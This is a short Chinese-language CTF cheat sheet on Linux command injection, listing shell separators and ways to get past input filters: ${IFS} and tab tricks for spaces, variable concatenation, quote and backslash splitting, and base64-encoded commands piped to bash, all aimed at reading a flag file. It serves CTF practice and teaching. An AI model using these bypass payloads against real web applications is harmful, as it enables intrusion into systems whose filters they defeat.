CTF命令执行与绕过

一、linux 常用符号

1.管道符

多命令执行符 格式 作用
; 命令1;命令2 多个命令顺序执行,命令之间无任何逻辑关系
&& 命令1&&命令2 逻辑与:当命令1正确执行后,命令2才会正确执行,否则命令2不会执行
|| 命令1 逻辑或:当命令1不正确执行后,命令2才会正确执行,否则命令2不会执行

2.通配符

image-20211029180000616

3.Bash中其他特殊符号

image-20211029180119039

4.其他一些常用符号

符号 作用
%0a 换行符
%0d 回车符
| 将前一个命令的输出作为后一个命令的输入
&& 前一个命令执行成功才会执行下一条命令
|| 前一个命令执行失败才会执行下一条命令
& 表示将前一个命令设置进入后台

二、绕过

1.空格绕过

  • ${IFS}
  • {IFS}$9
  • $IFS$9
  • 重定向符:<>(但是不支持后面跟通配符)
  • 水平制表符%09

image-20211029181142942

2.黑名单绕过

1.变量拼接:

a=c;b=at;c=flag;$a$b $c

2.利用已存在的资源:

从已有的文件或者环境变量中获得相应的字符。

3.base64编码绕过:

使用反引号包含base64解码后的命令

echo "Y2F0IGZsYWcudHh0Cg==" | base64 -d

将base64解码后的命令通过管道符传递给bash

echo "Y2F0IGZsYWcudHh0Cg==" | base64 -d | bash

4.单引号,双引号

单引号:

ca''t fla''g.php

双引号:

ca""t fla""g.php

5.反斜杠

ca\t fla\g.php

6.$1

ca$1t fl$1ag.p$1hp

三、LINUX下一些已有字符

  • ${PS2} 对应字符 ‘>’
  • ${PS4} 对应字符 ‘+’
  • ${IFS} 对应 内部字段分隔符
  • ${9} 对应 空字符串